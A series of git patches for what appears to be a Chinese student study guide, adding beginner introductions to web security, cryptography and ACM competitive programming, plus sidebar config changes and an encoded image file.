From a0494a1884898c5e26c443fc03ea38f7b0d2abde Mon Sep 17 00:00:00 2001 From: ek1ng <761042182@qq.com> Date: Tue, 23 May 2023 18:28:04 +0800 Subject: [PATCH 01/85] feat: add some articles about security --- 6.计算机安全/6.1网络安全.md | 3 - ...{6.1.1SQL 注入.md => 6.2.1SQL 注入.md} | 0 6.计算机安全/6.2Web安全.md | 88 +++++++++++++++++++ ...用.md => 6.3.1基础工具的使用.md} | 0 ...md => 6.3.2软件破解、软件加固.md} | 0 ...进制安全.md => 6.3二进制安全.md} | 5 ++ 6.计算机安全/6.4CTF信息安全竞赛.md | 16 ---- 6.计算机安全/6.4密码学.md | 76 ++++++++++++++++ 8 files changed, 169 insertions(+), 19 deletions(-) delete mode 100644 6.计算机安全/6.1网络安全.md rename 6.计算机安全/{6.1.1SQL 注入.md => 6.2.1SQL 注入.md} (100%) create mode 100644 6.计算机安全/6.2Web安全.md rename 6.计算机安全/{6.2.1基础工具的使用.md => 6.3.1基础工具的使用.md} (100%) rename 6.计算机安全/{6.2.2软件破解、软件加固.md => 6.3.2软件破解、软件加固.md} (100%) rename 6.计算机安全/{6.2二进制安全.md => 6.3二进制安全.md} (92%) delete mode 100644 6.计算机安全/6.4CTF信息安全竞赛.md create mode 100644 6.计算机安全/6.4密码学.md diff --git a/6.计算机安全/6.1网络安全.md b/6.计算机安全/6.1网络安全.md deleted file mode 100644 index 3f68243..0000000 --- a/6.计算机安全/6.1网络安全.md +++ /dev/null @@ -1,3 +0,0 @@ -# 网络安全 - -网络安全是一个很宽泛的话题,得益于目前网络应用越来越多,网络安全花样多,手段强,攻击性也比二进制安全要高。比如从网站的登录入口脱出整个数据库?通过奇奇怪怪的链接端了钓鱼网站的后台?通过爬虫抓取网页内容,制作各种自动化脚本(抢票、抢课、自动刷网课视频)? diff --git a/6.计算机安全/6.1.1SQL 注入.md b/6.计算机安全/6.2.1SQL 注入.md similarity index 100% rename from 6.计算机安全/6.1.1SQL 注入.md rename to 6.计算机安全/6.2.1SQL 注入.md diff --git a/6.计算机安全/6.2Web安全.md b/6.计算机安全/6.2Web安全.md new file mode 100644 index 0000000..d5097dc --- /dev/null +++ b/6.计算机安全/6.2Web安全.md @@ -0,0 +1,88 @@ +# Web入门指北 + +> 本文来自HGAME Mini 2022 Web 入门材料,目的是为了帮助新生更好的入门Web安全。 + +> 欢迎对安全感兴趣的小伙伴了解[Vidar-Team](https://vidar.club) +## 0x00 前言 + +本文希望为对Web感兴趣的同学提供在入门方向上的指导,以便与更加平滑的入门Web方向的学习。 + +## 0x01 Web安全基础 + +### Web安全是什么 + +首先Web安全是CTF比赛一直以来都很重要的一部分,CTF比赛目前主体还是Jeopardy解题模式,主要分为Web安全,Re逆向工程,Pwn,Crypto密码学,Misc安全杂项五个方向。相比于Re和Pwn两个二进制方向,Web安全在初期入门时门槛较低,并不需要太多对底层知识的了解,对小白也较为友好,能够比较快速的上手做题。 + +虽然Web安全入门门槛比较低,但是不得不承认需要学习的技术栈很多,在说起你经常听闻的Java、Php、Go、Javascript等种种语言之前,我们先来看看Web应用的发展史,理解一下Web应用是什么。 + +### Web发展史 + +> 这段发展史可能有很多名字不太好懂,但是提到这一段发展史是希望你能够对Web技术的发展过程有个框架性的理解,如果有很多困惑的地方可以多多使用搜索引擎,这篇[文章]()写的很详细也可以阅读一下~ + +最初的Web应用是静态页面,托管在ISP(Internet Service Provider)上,主要就是比较简单的文字,图片,当时能做的也就是简单浏览网页。而后有了Flash等多媒体技术,网页的功能开始逐渐丰富,音视频和网页的动态交互也让网页开始能够完成更多的事,给用户更好的体验。再随着CGI(Common Gateway Interface)的产生,CGI是Web服务器和外部应用程序的通信接口标准,Web服务器就可以通过CGI执行外部程序,再通过外部程序根据请求内容生成动态内容。再之后随着PHP/JSP等编程语言的加入,MVC思想、REST(Representation State Transformation)架构风格的产生,Web应用开发技术也逐步变化,直到如今,Web应用的开发技术主要分为前端和后端。**简单来说,前端就是用户直接可以看见的部分,比如说我们访问百度,百度页面上面的搜索框、按钮、logo,搜索后展示的网页文字和内容,这些都是属于前端的范畴;而后端主要是用户看不见的部分,比如在百度上搜索Vidar-Team,会能根据搜索内容返回相关的文章,这就是后端所做的部分**。 + +### Web应用的数据是如何交互的 + +> 非常推荐查看MDN文章[万维网是如何工作的](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works)和[浏览器的工作原理](https://developer.mozilla.org/zh-CN/docs/Web/Performance/How_browsers_work)详细了解一下~ + +而Web应用的数据是如何交互的呢?为什么用户输入`https://vidar.club`访问协会官网后浏览器上就会呈现页面呢? + +![What happens when you visit a URL](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/1.png) + +当我们在浏览器的地址栏中输入`https://vidar.club`后,首先会做的事情是DNS查询,浏览器会去寻找页面资源的位置,也就是寻找这个域名对应的ip地址是多少。因为ip地址的格式为xxx.xxx.xxx.xxx,这对于一个用户并不容易记住,因此我们用形象的域名来让用户记住网址,你看,`vidar.club`就比`1.117.117.147`这个ip好记太多了吧。浏览器根据域名`vidar.club`向DNS服务器查询对应ip地址,得到响应对应ip地址为`1.117.117.147`。 + +而当浏览器知道了服务器的IP地址后,就会与服务器进行TCP三次握手,三次握手机制是用来让两端尝试进行通信,之后为了让链接更加安全,就会进行TLS协商。你看我们输入的是`https://`,这表明我们使用了https协议进行访问,http协议的数据传输是明文的,这并不安全,而https使用ssl/tls协议进行加密处理,这会让访问变得安全。顺带一提如果使用http访问协会官网也会强制使用https哦,可以试一试`http://vidar.club`。当三次握手和TLS协商完成后,我们就已经和服务器建立了安全连接啦。 + +建立安全连接后,浏览器会向服务器发送HTTP Get请求,请求服务器返回我们事先放在服务器上面的对应网页的内容,这个请求的内容通常是一个HTML文件,而当服务器受到请求后,就会使用相关的响应头和HTML的内容进行回复。 + +浏览器收到服务端的200 OK的HTTP响应,收到服务端发过来的HTML文件后,会处理HTML标记并且构建DOM树,最终就形成了你看到的页面啦。 + +HTTP请求和响应的具体内容可以使用浏览器(推荐使用Chrome、Firefox或Edge)的F12开发者工具进行查看,打开f12后选择网络并且刷新页面捕获请求,点击这个vidar.club就可以看到啦。 + +![Chrome的开发者工具图1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/2.png) +![Chrome的开发者工具图1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/3.png) + +## 0x02 Web安全入门 + +### 我是零基础小白,从什么开始好呢? + +> 万丈高楼平地起 + +虽然在Web安全的技术栈中,会比较少的提及C/C++安全的问题,更多的都是一些你经常听说的Java、Php等语言的安全问题,不过如果你目前是没有任何编程基础,协会也同样推荐打好基础,先好好学习C语言。对于没有编程基础的你,从C语言这样一门接近底层的高级语言开始学习可以更好学习计算机内部原理,并且学会C语言后有一定的编程基础,入门其他语言也绝非难事。 + +### Web技术栈 + +首先需要明确的是,Web安全和Web开发是分不开的,并不是说对安全感兴趣就不需要懂开发,恰恰相反,开发是安全的基础,如果没有开发能力,在之后学习中面对一些代码审计也会感觉到非常茫然,所以学习Web安全之前首要的就是先学习Web开发。而Web开发的学习路线在学长们身上大多不是很固定,有的人接触到的Web开发的第一门语言是PHP,PHP虽然在现在看来已经不是一门优秀的语言了,后端开发的主流技术栈已经是Java和Go了,但是PHP仍然是一门在安全学习上非常推荐的语言,有很多历史漏洞可以让大家更好的入门。也有的学长最先开始接触的是Go/Java/Js,那如果你已经有一定Web开发基础,可以直接参考下面的学习路线与学习资料,如果你还没有Web开发基础并且认为C语言已经学的不错了,就可以尝试选择一门自己感兴趣的语言进行学习,并且尝试自己写一些感兴趣的Web应用,比如搭建一个博客,写一个Todolist用来记事等等,兴趣是最好的导师,一边写自己感兴趣的Web应用一边学习是非常不错的。 + +## 0x03 学习资料与学习路线推荐 + +- 兔兔的sql注入小游戏 + 招新群中的迎新机器人具有一个blog功能,这个blog功能存在一个sql注入的漏洞,通过漏洞查询出数据库中的flag可以找管理员兑换一杯奶茶哦~(支线任务x) +- 搭建博客 + 博客可以记录自己的学习过程与经历,也可以当作一个Web应用开发的小练习 +- 刷题 + 如果你想一边学习Web开发一边做做题目,感受一下Web安全,可以在协会的招新训练平台上面做做题目,要是毫无头绪也可以问问学长学姐们哦~训练平台上的题目可以帮助你更好的入门CTF! +- 学习资料 + 面对网络各式各样的学习资料,这些网站和书籍会对你入门有所帮助 + - [MDN 网络文档](https://developer.mozilla.org) + - [Web 安全学习笔记](https://websec.readthedocs.io) + - [CTF wiki](https://github.com/ctf-wiki/ctf-wiki) + - [HTML CSS 基础](https://www.w3cschool.cn/) + - JS:《JavaScript DOM编程基础》 + - C:《C Primer Plus》 + - PHP:《PHP和MySQL Web开发》 + - Python: 《Python从入门到实践》的入门部分 + - HTTP:《图解HTTP》 + - 《从0到1:CTFer成长之路》 + - 《白帽子讲Web安全》 + 上面提到的书协会都有哦,欢迎有空的时候来协会看书自习! +- 学习路线 + 可以根据上面提到的学习资料和协会的2022提前批招新标准进行个人学习路线的规划,这份Github上很火的[Web Roadmap](https://github.com/hideraldus13/roadmap-do-desenvolvedor-web)也可以参考一下。 + +## 0x04 最后 + +> 勿以浮沙筑高台 + +欢迎对Web安全感兴趣的你,如果在学习过程中遇到困难可以随时在 Vidar-Team 2022 招新群中提问哦,祝你在Web安全的学习道路上越走越远~ + +`VIDAR{Web_1s_3asy_t0_st4rt!!}` \ No newline at end of file diff --git a/6.计算机安全/6.2.1基础工具的使用.md b/6.计算机安全/6.3.1基础工具的使用.md similarity index 100% rename from 6.计算机安全/6.2.1基础工具的使用.md rename to 6.计算机安全/6.3.1基础工具的使用.md diff --git a/6.计算机安全/6.2.2软件破解、软件加固.md b/6.计算机安全/6.3.2软件破解、软件加固.md similarity index 100% rename from 6.计算机安全/6.2.2软件破解、软件加固.md rename to 6.计算机安全/6.3.2软件破解、软件加固.md diff --git a/6.计算机安全/6.2二进制安全.md b/6.计算机安全/6.3二进制安全.md similarity index 92% rename from 6.计算机安全/6.2二进制安全.md rename to 6.计算机安全/6.3二进制安全.md index 8e98494..d74de30 100644 --- a/6.计算机安全/6.2二进制安全.md +++ b/6.计算机安全/6.3二进制安全.md @@ -10,6 +10,11 @@ reverse 主要研究软件破解,软件加固,计算机病毒等。 现实场景下,这两种方向通常界限比较模糊,统称的二进制安全主要研究漏洞挖掘,漏洞利用,软件加固,计算机病毒,游戏安全等。 +## 入门材料 +> 来自HGAME Mini 2022 Reverse Pwn 入门材料 +> Reverse:https://www.notion.so/b92ca2bfaacf4e7c873882dff9dbf649 +> Pwn:https://ek1ng.oss-cn-hangzhou.aliyuncs.com/HGAME%20Mini%202022%20Pwn%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97.pdf + ## 学习二进制安全需要具备哪些基础? - 扎实的 C 语言基础,目前现有的各种二进制分析工具通常都会把汇编代码重新反编译为 C 语言程序。 diff --git a/6.计算机安全/6.4CTF信息安全竞赛.md b/6.计算机安全/6.4CTF信息安全竞赛.md deleted file mode 100644 index 8b9552f..0000000 --- a/6.计算机安全/6.4CTF信息安全竞赛.md +++ /dev/null @@ -1,16 +0,0 @@ -# CTF 信息安全竞赛 - -## 简介 - -CTF(Capture the Flag),一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。在比赛中,会设定题目,每道题目基本都是由现实环境抽象出来的简单版,通过对题目的攻击或分析,可以拿到一串特定的字符串,即 flag,将这串字符串提交,即可证明你拿下了这道题目,主办方/自动化的比赛平台就会按照一定的规则给予你分数。 - -## CTF 历史 - -CTF 的前身是传统黑客之间的网络技术比拼游戏,起源于 1996 年第四届 DEFCON。第一个 CTF 比赛(1996 年 - 2001 年),没有明确的比赛规则,没有专业搭建的比赛平台与环境。由参数队伍各自准备比赛目标(自行准备与防守比赛目标,并要尝试攻破对方的比赛目标)。而组织者大都只是一些非专业的志愿者,接受参赛队伍手工计分的请求。 - -如今的 CTF 俨然成为计算机安全里的一大类重要比赛,已经规模化,由专业队伍承担比赛平台、命题、赛事组织以及自动化积分系统。由传统 CTF 衍生出来的其他比赛形式也层出不穷,如 awd 攻防模式,awdp 大规模攻防兼备模式等 - -## CTF 的一些误区 - -- 学计算机安全 != 打 CTF。CTF 只是学计算机安全的一个途径或者说捷径,因为 CTF 题目往往是真实场景的抽象。并不是学计算机安全一定就要打 CTF,打 CTF 也不一定等同于学会了计算机安全,现代 CTF 的很多技术并不能应用到实战中,不过虽然这么说,但是如果有志于安全研究,从 CTF 开始仍然是一个不错的选择。 -- CTF != 电子竞技。CTF 除了 awd 稍微具有那么一点点的观赏性以外,其他的毫无观赏性可言。并不像一些影视剧中那样黑客们一脸沉着冷静地敲打着键盘,屏幕上的代码飞速滚动,过了一会弹出来一个闪烁的大框框“Hacked by XXX”。awd 的观赏性也仅仅架设于当某队伍拿到了另一支队伍的 flag 时,会有动态的效果(如动画等)来显示。 diff --git a/6.计算机安全/6.4密码学.md b/6.计算机安全/6.4密码学.md new file mode 100644 index 0000000..7f6a384 --- /dev/null +++ b/6.计算机安全/6.4密码学.md @@ -0,0 +1,76 @@ +# 可能用的上的密码学介绍 + +> 本文来自HGAME Mini 2022 Crypto 入门材料, + +## 什么是密码学 + +密码学分为密码编码学和密码分析学,前者寻求**提供信息机密性、完整性和非否认性等的方法**,后者研究**加密信息的破译和伪造等破坏密码技术所能提供安全性**的方法。CTF比赛中的密码学题目偏向于密码分析。 + +## 如何学习密码学 + +### 数学基础 + +数论,线性代数,抽象代数 + +当你有了这些基础之后才能更熟练的使用一些数学工具。 + +学习这些基础的东西最好的方法就是看书(群文件里都有哦~),如果是英文的话尽量看原著,这对后面看论文帮助很大。 + +### 编程基础 + +你可能需要了解一些python的基础语法。还有一些简单的算法。 + +### 一些基础的密码系统 + +古典密码: + +- 凯撒密码 +- 维吉尼亚密码 +- 栅栏密码 +- 希尔密码 +- 培根加密 +- 摩斯电码 +- 等 + +现代密码: + +- RSA(非常经典) +- AES +- DES +- ECC +- 等 + +还有近几年多起来的格密码 + +主要看一些书籍,或者在ctf-wiki.org学习。学习的过程中尽可能的多写一些demo,既锻炼了编程能力也可以更好的了解一些密码系统。 + +有能力的同学可以先看一下这位教授的关于密码学的课程 [https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg](https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg) + +## 工具 + +一些python的库: + +- pycryptodome(就是Crypto库) + +[https://pycryptodome.readthedocs.io/en/latest/](https://pycryptodome.readthedocs.io/en/latest/) + +- gmpy2(数论) +- sympy + +sagemath(一个功能极其强大的集成工具) + +## 刷题平台 + +[https://cryptohack.org/](https://cryptohack.org/) (推荐) + +buuoj + +bugku(比较入门的题) + +ctfhub + +## 写在最后的话 + +密码学可能刚入门起来感觉非常难受(可能不包括古典密码),但事实是不管那个方向或者说任何的一门学科的学习过程都是这样的(怪胎除外)。因为现在大家基本上都是兴趣驱动的,所以希望大家永远保持对新知识的好奇心,这样就不会感觉说这是一个任务一样的东西。其实密码学还是很有意思的。 + +`synt{pelcg0_1f_r4fl_g0_fg4eg!!}` From 895c63ca244dae817ac1ae0452b5c5e1d1b5c1a7 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Wed, 24 May 2023 21:20:48 +0800 Subject: [PATCH 02/85] chore: update config tree --- .vitepress/config.js | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/.vitepress/config.js b/.vitepress/config.js index 7b68de9..f1a56d1 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -577,23 +577,23 @@ export default defineConfig({ items: [ { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, { - text: '6.1网络安全', + text: '6.2WEB安全', collapsed: true, items: [ - { text: '6.1网络安全', link: '/6.计算机安全/6.1网络安全' }, - { text: '6.1.1SQL 注入', link: '/6.计算机安全/6.1.1SQL 注入' }, + { text: '6.2WEB安全', link: '/6.计算机安全/6.2Web安全' }, + { text: '6.2.1SQL 注入', link: '/6.计算机安全/6.2.1SQL 注入' }, ] }, { - text: '6.2二进制安全', + text: '6.3二进制安全', collapsed: true, items: [ - { text: '6.2二进制安全', link: '/6.计算机安全/6.2二进制安全' }, - { text: '6.2.1基础工具的使用', link: '/6.计算机安全/6.2.1基础工具的使用' }, - { text: '6.2.2软件破解、软件加固', link: '/6.计算机安全/6.2.2软件破解、软件加固' }, + { text: '6.3二进制安全', link: '/6.计算机安全/6.3二进制安全' }, + { text: '6.3.1基础工具的使用', link: '/6.计算机安全/6.3.1基础工具的使用' }, + { text: '6.3.2软件破解、软件加固', link: '/6.计算机安全/6.3.2软件破解、软件加固' }, ] }, - { text: '6.4CTF信息安全竞赛', link: '/6.计算机安全/6.4CTF信息安全竞赛' }, + { text: '6.4密码学', link: '/6.计算机安全/6.4密码学' }, ] }, { From 1ee00472df09c1aaa16f084fea9285dea16d996a Mon Sep 17 00:00:00 2001 From: axiomofchoice-hjt <1939696303@qq.com> Date: Sat, 3 Jun 2023 17:25:32 +0800 Subject: [PATCH 03/85] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=203.2.3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/config.js | 1 + .../3.2.3ACM 竞赛从入门到入坟.md | 79 ++++++++++++++++++ .../static/Axiomofchoice_1.png | Bin 0 -> 235520 bytes 3 files changed, 80 insertions(+) create mode 100644 3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md create mode 100644 3.编程思维体系构建/static/Axiomofchoice_1.png diff --git a/.vitepress/config.js b/.vitepress/config.js index f1a56d1..52b24b7 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -178,6 +178,7 @@ export default defineConfig({ { text: '3.2算法杂谈', link: '/3.编程思维体系构建/3.2算法杂谈' }, { text: '3.2.1为什么要选择ACM——谈谈我与ACM', link: '/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM' }, { text: '3.2.2手把手教你学算法——如何使用OJ(Online Judge)', link: '/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge)' }, + { text: '3.2.3ACM 竞赛从入门到入坟', link: '/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟' }, ] }, { text: '3.3如何选择编程语言', link: '/3.编程思维体系构建/3.3如何选择编程语言' }, diff --git a/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md b/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md new file mode 100644 index 0000000..8646219 --- /dev/null +++ b/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md @@ -0,0 +1,79 @@ +# 3.2.3 ACM 竞赛从入门到入坟 + +> 作者:[选择公理](https://github.com/axiomofchoice-hjt) +> +> 利益相关:2021 杭电六队,2022 杭电一队成员 + +相信大家从前面的文章中已经了解 ACM 的基本情况,这里就不赘述了。 + +首先需要强调的是,选择 ACM 这条路非常辛苦,每天要花大量时间刷题;同时,ACM 也是残酷的,唯有实力才能保证你不被集训队淘汰。 + +这里就不得不提一下参加 ACM 竞赛的一般流程了: + +1. 大一上:参加集训队选拔,进入集训队(错过选拔的要用 [Codeforces](https://codeforces.com/) 分数来向老刘申请)。 +2. 大一下:主要是个人训练,经历多轮淘汰,期末会组队(三人一队)。 +3. 大一暑假:以组队形式参加多校等训练,这些训练将决定你在大二这个赛季能参加几次比赛。 +4. 大二:训练或比赛。没比赛资格没关系,你可以沉淀,大三还有机会。 +5. 大三同上,但是也有选择退出的。 + +## 第一阶段 + +打 ACM 要趁早。从上面流程图可以看出来,大一入学就应该决定好了,然后是学习,再然后参加选拔(冷知识:集训队不是想进就能进的)。 + +### 群 + +首先是加群。每一届老刘都会弄个杭电 ACM 新生群,没有门槛的。想要加这个群,可以问一问杭电的其他群 / 学长学姐。 + +群里主要关注两件事,一个是 ACM 公选课,一个是选拔。然后有问题也可以丢群里。 + +### 公选课 + +老刘每学期都有公选课,大一上的时候可以去旁听。公选课的内容和选拔是相关的,课讲了哪些,选拔就考哪些。所以,跟上课程进度是很有必要的。 + +### 要学什么 + +编程语言(C/C++)是算法的前提,而公选课是不会教你语言的,得自学。零基础的同学要注意了,千万不要跟着 C 语言的课来学,太慢了。尽量在一个礼拜内学完 C 的基础内容(指针可以跳过),然后跟上公选课。C++ 可以晚点再学。 + +说明一下,语言其实包含很多语法,但是 ACM 用得到的只是其中的一个子集。像 C 的指针,C++ 的模板,都是很难但是鸡肋的知识点。如果你要做工程,那这些语法都得学。 + +学会语言后,可以找一个算法书(算法竞赛入门经典(刘汝佳),算法赛进阶指南(李煜东)等等)系统学习各种算法。 + +提醒一下,这里讲到的所有东西都要上机实践,ACM 非常注重实践。你在开始学语言的时候就要多上机。 + +### 选拔 + +在大一上 10 月开始,每个月至少 1 场选拔赛(上机编程的模式),每场比赛都会根据参选人员的实际表现确定若干数量的同学入围集训队。 + +除了选拔,还有一种进队方法那就是 [Codeforces](https://codeforces.com/)。Codeforces 每个账号都会有一个分数(rating),打 Codeforces 比赛打得好就上分,反之就掉分。只要大一上你的 rating 连续三次达到 1400(具体以老刘为准),就可以向老刘申请入队。事实上,这种方法甚至到了大二都是可以的(大二你的 rating 可能要 1900),不过几乎没有人这么做,所以还是要趁早。 + +大一上会选拔 50-60 人,大一下会保留 20 人左右。(仅供参考) + +## 第二阶段 + +恭喜你,你已经学完了基础算法,可以进入以刷题为主的学习模式了。 + +刷题平台(OJ)有很多,如果没有特别适合你的,那就去刷 [Codeforces](https://codeforces.com/)。因为这个平台比赛多,老刘认可。建议 Codeforces 的每场比赛都参加(如果时间不好可以第二天补上)。 + +说到时间,Codeforces 比赛最常见的时间是 22:35 到 00:35(Codeforces 是俄罗斯的,有时差,所以时间有点阴间)。ACMer 其实很多都是熬夜党。 + +打完比赛,建议钻研一下自己没做出的前一两题,写个题解。为什么要写题解呢,一个是方便以后来回顾,一个是加深印象,一个是把自己的思维用文字表达出来,这样能发现思维的漏洞(比如证明不严谨之类的)。题解写出来发不发博客就看个人喜好吧。作者以前也是坚持写博客写了很久。 + +![](static/Axiomofchoice_1.png) + +为什么要打 Codeforces 比赛呢?主要原因是打比赛有计时,有压力(怕掉分的压力),能让人提升更快。不要因为怕掉分就不参加了,你要相信只要你一直打比赛,你的 rating 曲线一定是波动上升的。 + +另外建议大家整理一个自己的模板(算法套路),这里推荐几个资料供参考:[OI Wiki](https://oi-wiki.org),[Kuangbin 模板](https://kuangbin.github.io/2018/08/01/ACM-template/)。想要验证模板可以去 [luogu](https://www.luogu.com.cn/),luogu 收录了很多模板题。 + +## 第三阶段 + +恭喜你,你应该已经度过淘汰阶段,到了组队环节了,祝愿你组队能抱到大腿。 + +有了队伍,可以考虑一下分工问题,包括读题、键盘手、各种算法类型等分工。这里建议对于任何一类问题(比如数据结构),队伍里要有至少两个人擅长,因为两个人讨论解决问题比一个人要快很多很多。而在比赛中期,最好的策略也是双开,即两个人研究一题,剩下一个研究另一题(不过这只是经验之谈了)。 + +如果你在激烈的竞争中获得参赛资格,那么你基本可以认为你有至少银牌的实力了。(~~拿了铜牌及以下老刘会生气的~~) + +## 退役的姿势 + +打 ACM 很多是为了方便找工作的,但是作者这届找工作太难了😭,光凭借 ACM 奖牌是远远不够的,要拥有好多其他能力。 + +不管你 ACM 是否取得了成绩,建议退役后要好好做规划,多了解行情,选择好的方向进行研究。 diff --git a/3.编程思维体系构建/static/Axiomofchoice_1.png b/3.编程思维体系构建/static/Axiomofchoice_1.png new file mode 100644 index 0000000000000000000000000000000000000000..5a24e8bf5d70438a82bb0e50c256d6fdf34454cd GIT binary patch literal 235520 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 